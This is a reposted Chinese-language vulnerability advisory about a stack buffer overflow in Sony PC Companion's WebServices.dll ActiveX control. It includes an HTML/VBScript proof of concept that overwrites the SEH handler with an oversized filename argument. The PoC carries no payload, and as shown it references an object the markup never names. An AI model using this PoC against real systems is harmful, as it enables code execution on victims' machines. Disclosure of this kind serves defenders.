Sony PC Companion 'DownloadURLToFile()函数栈缓冲区溢出漏

发布日期:2012-12-20
更新日期:2012-12-24

受影响系统:
sonymobile PC Companion 2.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57028
 
Sony PC Companion是连接设备到计算机的工具和应用。
 
Sony PC Companion 2.10.115、2.10.108及其他版本处理DownloadURLToFile函数内的'bstrFile'超长值时,WebServices.dll内存在边界错误,可被利用造成栈缓冲区溢出,导致在受影响计算机内执行任意代码。
 
<*来源:Gjoko Krstic (liquidworm@gmail.com)
 
  链接:
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
---
 

<html>
 <body>
 <object classid='clsid:0F987E61-9C94-49FA-9B6D-2F99BDEB6CF6' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\Sony\Sony PC Companion\WebServices.dll"
 prototype  = "Sub DownloadURLToFile ( ByVal bstrUrl As String ,  ByVal bstrFile As String )"
 memberName = "DownloadURLToFile"
 progid    = "WebServicesLib.HttpClient"
 argCount  = 2
 
bstrUrl="defaultV"
 bstrFile=String(758, "A") + "BB" + "CC" + String(4238, "D")
 
'            ^              ^      ^            ^
 '            |              |      |            |
 '----------- junk --------- nseh - seh ------- junk --------
 
overrun.DownloadURLToFile bstrUrl, bstrFile
 
</script>
 </body>
 </html>

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
sonymobile
 ----------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wygjyj.html